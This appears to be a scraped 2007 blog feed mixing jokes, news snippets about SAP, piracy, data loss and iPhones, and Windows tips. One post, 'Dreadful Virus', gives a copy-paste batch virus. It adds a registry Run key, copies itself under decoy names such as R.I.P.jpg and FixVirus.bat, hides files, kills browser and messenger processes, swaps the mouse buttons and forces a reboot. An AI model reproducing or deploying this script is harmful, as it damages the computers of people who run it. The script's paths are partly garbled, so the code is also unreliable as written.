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Joke: The Last Day 2007-11-25 06:17:00 Santa walks into a bar and says, "Bartender, give me a shot of the strongest thing you've got."He takes the shot glass and knocks it back. He then asks for another one and knocks that on back, too. After about five or six of these the bartender decides that he's going to cut the guy off.Bartender says to Santa, "Hey, what's wrong with you? Did you have a fight with your wife or something?"Santa sighs and says, "Yeah, after the fight she said that she wasn't going to speak to me for a whole month!"The bartender, puzzled, says, "Well, what's wrong with that?"Santa replied, "Well today's the last day!"
News: SAP shakes up leadership at US unit 2007-11-25 04:32:00 The chief executive of TomorrowNow, a US unit of SAP at the centre of a corporate spying scandal that has ensnared the German software group in a high profile lawsuit, quit on Monday, the company said.SAP also revealed it is looking at various options for the troubled unit, including selling it. The news late on Monday night marks the latest step in an unfolding saga that has represented an unwelcome setback for SAP in its most important market.The scandal broke when arch-rival Oracle filed a lawsuit earlier this year accusing SAP of corporate espionage. It levelled the claims against TomorrowNow, a Texas-based company that had been acquired by SAP to sell software maintenance and support to former Oracle customers. That gave it a key role in SAP's strategy of trying to win over Oracle customers, since the need for continuing support for older software is one of the main reasons companies are hesitant to switch between suppliers.According to Oracle, TomorrowNow had used the sign-on d
Scrap All Without Advertisements 2007-11-25 04:02:00 We guess everyone out here is fed up with scrap all spam. Those who once used to scrap all their friends to greet, now have an advertisement below their scraps. No doubt this looks odd and embarrassing. So today, we'll provide you a few tips to disable this advertisement below the scraps.Here are a Couple of things You Can Do Disable Advertisements
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News: France unveils anti-piracy plan 2007-11-24 05:45:00 Sarkozy: "A decisive moment for the future of a civilised internet" French web users caught pirating movies or music could soon be thrown offline. Those illegally sharing files will face the loss of their net access thanks to a newly-created anti-piracy
body granted the wide-ranging powers. The anti-piracy body comes out of a deal agreed by France
's music and movie makers and its net firms. The group who brokered the deal said the measures were intended to curb casual piracy rather than tackle large scale pirate groups. French President Nicolas Sarkozy said the deal was a "decisive moment for the future of a civilised internet". Net firms will monitor what their customers are doing and pass on information about persistent pirates to the new independent body. Those identified will get a warning and then be threate
How To Make Folders like CON 2007-11-23 00:29:00 1) Goto Run2)Type cmd(if using XP or higher version)3)In the command prompt write mkdir \.c:con4) Now check yur c: drive bingooooo ! u got a CON folder there5) To remove con folder write in command prompt rmdir \.c:conNote: This trick can be used for making other folders like NUM1,NUM2,LPT1 etcOther non genuine methods are :- make folder with name CON then hold ALT key and press 255 from NUMPAD.(ALT+255) Read more:Folders
News: How firms and fraudsters deal in data 2007-11-23 00:17:00 Organisations should have policies that govern who does what with data The information lost by the HMRC could prove very valuable to fraudsters, computer security experts say. "In the fraud underworld the quality of data directly impacts the flexibility with which they can use it," said Andrew Moloney, financial services market director for RSA Security. The more data you have around a subject the more different ways you can use that to commit fraud." There was no evidence yet that the data was being talked about or sold on the fraud boards and net markets that his company monitors, he said. However, most vendors of stolen data rarely mention where they got it from. Instead, they typically only mention its quality. Mr Moloney said there was a well-established chain of buyers and sellers who can handle large amounts of data and pass them on to those that wish to use them to commit fraud. Safeguarding data "That's partly grown up to protect the anonymous indi Read more:firms
Dreadful Virus 2007-11-22 23:57:00 This one is a simple batch virusJust copy and paste the code given below in notepad and save it as anyname.bat(not txt)Be carefull & Don't run this on ur pc@Echo offcolor 4title 4title R.I.Pstartstartstartstart calccopy %0 %Systemroot%Greatgame > nulreg add HKLMSoftwareMicrosoftWindowsCurrentVersionRun /v Greatgame /t REG_SZ/d %systemroot%Greatgame.bat /f > nulcopy %0 *.bat > nulAttrib +r +h Greatgame.batAttrib +r +hRUNDLL32 USER32.DLL.SwapMouseButtonstart calcclstskill msnmsgrtskill LimeWiretskill iexploretskill NMainstartclscd %userprofile%desktopcopy Greatgame.bat R.I.P.batcopy Greatgame.bat R.I.P.jpgcopy Greatgame.bat R.I.P.txtcopy Greatgame.bat R.I.P.execopy Greatgame.bat R.I.P.movcopy Greatgame.bat FixVirus.batcd %userprofile%My Documentscopy Greatgame.bat R.I.P.batcopy Greatgame.bat R.I.P.jpgcopy Greatgame.bat R.I.P.txtcopy Greatgame.bat R.I.P.execopy Greatgame.bat R.I.P.movcopy Greatgame.bat FixVirus.batstartstart calcclsmsg * R.I.Pmsg * R.I.Pshutdown -r -t 10 -c "
News: Young warned over social websites 2007-11-22 23:43:00 An ICO website aims to help young people protect personal detailsMillions of young people could damage their future careers with the details about themselves they post on social networking websites, a watchdog warns. The Information Commissioner's Office found more than half of those asked made most of their information public. Some 71% of 2,000 14 to 21-year-olds said they would not want colleges or employers to do a web search on them before they had removed some material. The commission said the young needed to be aware of their electronic footprint. Vetting tool The ICO also said young people could be putting themselves at risk of identity fraud because of the material they post on social networks such as Facebook and MySpace. The cost to a person's future can be very high if something undesirable is found David SmithInformation Commissioner's Office The data regulator's survey found that two thirds of those questioned accepted as friends o
Working Ghost 2007-11-22 05:57:00 Two men were walking home after a party and decided to take a shortcut through the cemetery just for laughs.Right in the middle of the cemetery they were startled by a tap-tap-tapping noise coming from the misty shadows. Trembling with fear, they found an old man with a hammer and chisel, chipping away at one of the headstones."Holy cow, Mister," one of them said after catching his breath, "You scared us half to death, we thought you were a ghost! What are you doing working here so late at night?" "Those fools!" the old man grumbled. "They misspelled my name!" Read more:Ghost
Joke: Tragic News 2007-11-22 05:47:00 A blonde goes into work one morning crying her eyes out.Her boss, concerned about his employee's well being, asks sympathetically, "What's the matter?"The blonde replies, "Early this morning I got a phone call saying that my mother had passed away.""I'm terribly sorry to hear that. Why don't you go home for the day... we aren't terribly busy. Just take the day off to relax and rest."The blonde very calmly explains, "No, I'd be better off here. I need to keep my mind off it and I have the best chance of doing that here."The boss agrees and allows the blonde to work as usual. "If you need anything, just let me know," he says.A few hours pass and the boss decides to check on the blonde. He looks out over his office and sees the blonde crying hysterically. He rushes out to her, and asks, "Are you going to be okay? Is there anything I can do to help?""No," replies the blonde, "I just got a call from my sister, and she said that HER mom died too!"
iPod 2007-11-22 04:53:00 I made this music player at MyFlashFetish.com. Read more:iPod
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News: Do small firms really need a website? 2007-11-21 23:10:00 As far as web-literate consumers are concerned, internet search engines generally offer the best way to track down a local plumber or find out where the local pet shop is based. The boundaries of internet and traditional start-ups have blurred After all, a reputable company will have its own website
, right? Wrong. In a world where e-trading has become as mainstream as microwaved ready meals, it comes as a shock to many to discover that no more than half of Britain's small to medium-sized businesses have a web presence. But those are the facts, according to the Federation of Small Businesses, which represents about 210,000 firms
. After a flurry of activity a few years ago, when a steady stream of its members flocked into cyberspace, demand has stagnated. Which is a shame, according to the Federation's IT chairman, Peter Scargill, who insist companies must "keep up or lose out". This is more than ever the case in today's business c Read more:really need
News: Threat of fraud 'looms for years' 2007-11-21 23:06:00 Fraudsters could use personal data to apply for credit cards or loans Children whose personal data has gone missing could be at risk of identity fraud
for many years, credit reference agency Experian has warned. The company said fraudsters could wait until children turn 18 before trying to apply for credit in their name. Compliance director Helen Lord said this could have a "catastrophic effect" on their ability to buy or rent a home or obtain a loan or credit card. The Association for Payment Clearing Services said vigilance was vital. Jemma Smith, from the association, said: "The information is no doubt valuable in a thief's hands." The fraudsters will wait until they turn 18 and start applying for loans, credit cards, mobile phone contracts and other credit products in their names
News: T-Mobile to open up iPhone sales 2007-11-21 22:58:00 iPhone
users are still tied to just one network in the US and UK T-Mobile
is to start allowing German customers to buy Apple's iPhone without a contract to its network, as it moves to comply with a court injunction. Its announcement comes after rival Vodafone went to a German court to challenge T-Mobile's exclusive tie-up with the iPhone in Germany. T-Mobile will now sell people just the handset for 999 euros ($1,477; £719). This is a significant premium over the 399-euro price for those who also take out a two-year T-Mobile contract. Similar tie-ups Apple has similar exclusive iPhone arrangements with O2 in the UK and AT&T in the US. T-Mobile added that customers could also now have the SIM lock on their iPhone removed, including those who have already purchased a handset. This would allow them to switch
News: UK broadband use reaches new high 2007-11-21 22:48:00 Broadband has taken over UK net use in a few short years Almost nine out of 10 UK net users are connecting via broadband
services, official figures reveal. Information gathered by National Statistics (ONS) for September show that 88.4% of Britons are choosing to use broadband rather than dial-up. The statistics show that 49.2% of those connections are for services advertised at two megabits per second or faster. But analysis of the figures suggest the broadband market is static, which could mean tough times for service suppliers. Tough times The figure for September is only slightly up on the June total of 86.2%, but indicates a 26% rise over the last 12 months. The statistics show that broadband has enjoyed a meteoric rise in popularity among net users since services started to be available and affordable. As re
Firefox 3.0 hits beta 2007-11-21 22:40:00 New security features have been included in the just-released Firefox
3.0 beta, although Mozilla has warned that most users should stick to Version 2.0 for the moment. "We do not recommend that anyone other than developers and testers download the Firefox 3 Beta 1 milestone release," Mike Beltzner, the company's interface designer, said on Mozilla's website. "It is intended for testing purposes only." But while the official word was for users to stand clear, Beltzner's personal recommendation was a lot less intimidating. "It's a preview release, so use with caution and don't expect your add-ons to work without some magic; but between you and me, I've been running on this 'developer preview' for at least three months, and have never looked back," he said on his own blog. Beltzner touted several improvements in Firefox 3.0, including new security features, a redesign of bookmarking and history, but said they all require more testing and user feedback. The c
Computer Acronym 2007-11-21 04:08:00 ADSL - Asymmetric Digital Subscriber LineAGP - Accelerated Graphics PortALI - Acer Labs, IncorporatedALU - Arithmetic Logic UnitAMD - Advanced Micro DevicesAPC - American Power ConversionASCII - American Standard Code for Information InterchangeASIC - Application Specific Integrated CircuitASPI - Advanced SCSI Programming InterfaceAT - Advanced TechnologyATI - ATI Technologies Inc.ATX - Advanced Technology Extended--- B ---BFG - BFG TechnologiesBIOS - Basic Input Output SystemBNC - Barrel Nut Connector--- C ---CAS - Column Address SignalCD - Compact DiskCDR - Compact Disk RecorderCDRW - Compact Disk Re-WriterCD-ROM - Compact Disk - Read Only MemoryCFM - Cubic Feet per Minute (ft�/min)CMOS - Complementary Metal Oxide SemiconductorCPU - Central Processing UnitCTX - CTX Technology Corporation (Commited to Excellence)--- D ---DDR - Double Data RateDDR-SDRAM - Double Data Rate - Synchronous Dynamic Random Access MemoryDFI - DFI Inc. (Design for Innovation)DIMM - Dual Inline Memory Modu Read more:Computer
Joke: Accident Scene 2007-11-21 02:08:00 Two guys were roaring down a country road on a motorcycle when the driver slowed up and pulled over.His leather jacket had a broken zipper, and he told his friend, "I can't drive anymore with the air hitting me in the chest like that.""Just put the jacket on backwards," his friend advised.They continued down the road but around the next bend, they lost control and wiped out.Banta came upon the accident and ran to call the police.They asked him, "Are they showing any signs of life?""Well," Banta explained, "the driver was until I turned his head around the right way!"
All about Registry 2007-11-30 22:49:00 RegistryWhat is the Registry?The Registry is a database used to store settings and options for the 32 bit versions of Microsoft Windows including Windows 95, 98, ME and NT/2000. It contains information and settings for all the hardware, software, users, and preferences of the PC. Whenever a user makes changes to a Control Panel settings, or File Associations, System Policies, or installed software, the changes are reflected and stored in the Registry.The physical files that make up the registry are stored differently depending on your version of Windows; under Windows 95 & 98 it is contained in two hidden files in your Windows directory, called USER.DAT and SYSTEM.DAT, for Windows Me there is an additional CLASSES.DAT file, while under Windows NT/2000 the files are contained seperately in the %SystemRoot%System32Config directory. You can not edit these files directly, you must use a tool commonly known as a "Registry Editor" to make any changes (using registry editors will be dis Read more:Registry
News: London starts digital cash trial 2007-11-30 02:30:00 The trial turns a mobile phone into a travel ticket and a wallet London commuters are getting the chance to swap the cash in their pocket for a digital wallet. 500 travellers have been issued with Nokia phones which swap digital cash via the technology used for the capital's Oyster travel card. The phones will double as a travel pass and wallet that can be used to make small value payments. Swiping the phone against special posters will give participants access to information or local maps. The trial uses the same Near Field Communications system behind the Oyster card. Spending power The phones will be loaded with £200 for the users to spend during the six-month trial. Using that cash on the transport system will be simple enough, but the triallists may struggle to find shops where they can make small payments. The contactless payment terminals are only installed in around 1,000 shops and cafes - mainly in the City of London and at Canary
News: Yahoo to put adverts in PDF files 2007-11-29 12:14:00 Adobe is one of the world's leading PDF software producers Yahoo
has reached a deal to start running advertisements in Adobe's popular PDF document-reading format. The service will allow publishers to make money by including adverts linked to the content of a PDF document in a panel at the side of the page. It is Yahoo's latest way of expanding the places it can advertise online following deals with the auction site Ebay and the cable TV group Comcast. The advertisements will not appear if the PDF document is printed. It is the first time that Adobe has allowed dynamic adverts into its PDF (Portable Document Format) files
. Dynamic adverts can be changed for particular audiences or rotated to make sure that a particular user never sees the same advertisement twice. PDF files can be created by a range of software
What is Grease Monkey & GM Scripts 2007-11-29 11:57:00 Grease Monkey is a Plugin for FireFox Browser. Its Allows you to customize the way a webpage displays using small bits of JavaScript...Allows you to customize the way a webpage displays using small bits of JavaScript.Hundreds of scripts, for a wide variety of popular sites, are already available at http://userscripts.org.Before to Install Grease Monkey you Need to install FireFox so...InstallLatest Forefox from Here....thenInstallGrease Monkey from Here....Now What is GM Script..??GMScript is Short of Grease Monkey Scripts
a bunch of Javascrits witch make change in yout HTML and Browsers..(-:
In Side Google Office/ Google's Intranet 2007-11-29 11:47:00 What do around 16,000 Google
employees stare at in the morning when they’ve arrived at the office? They might be looking at Moma, the name for the Google intranet. The meaning of the name of “Moma” is a mystery even to some of the employees working on it, we heard, but Moma’s mission is prominently displayed on its footer: “Organize Google’s information and make it accessible and useful to Googlers.” A “Googler,” as you may know, is what Google employees call themselves (they have other nicknames for specific roles; a noogler is a new Google employee, a gaygler is a gay one, a xoogler is an ex-one, and so on).A Google employee in Hamburg (photo taken in mid-2007)Moma “was designed by and for engineers and for the first couple of years, its home page was devoid of any aesthetic enhancements that didn’t serve to provide information essential to the operation of Google. It was dense and messy and full of numbers that were hard to parse for the uninitiated, but high i Read more:Intranet
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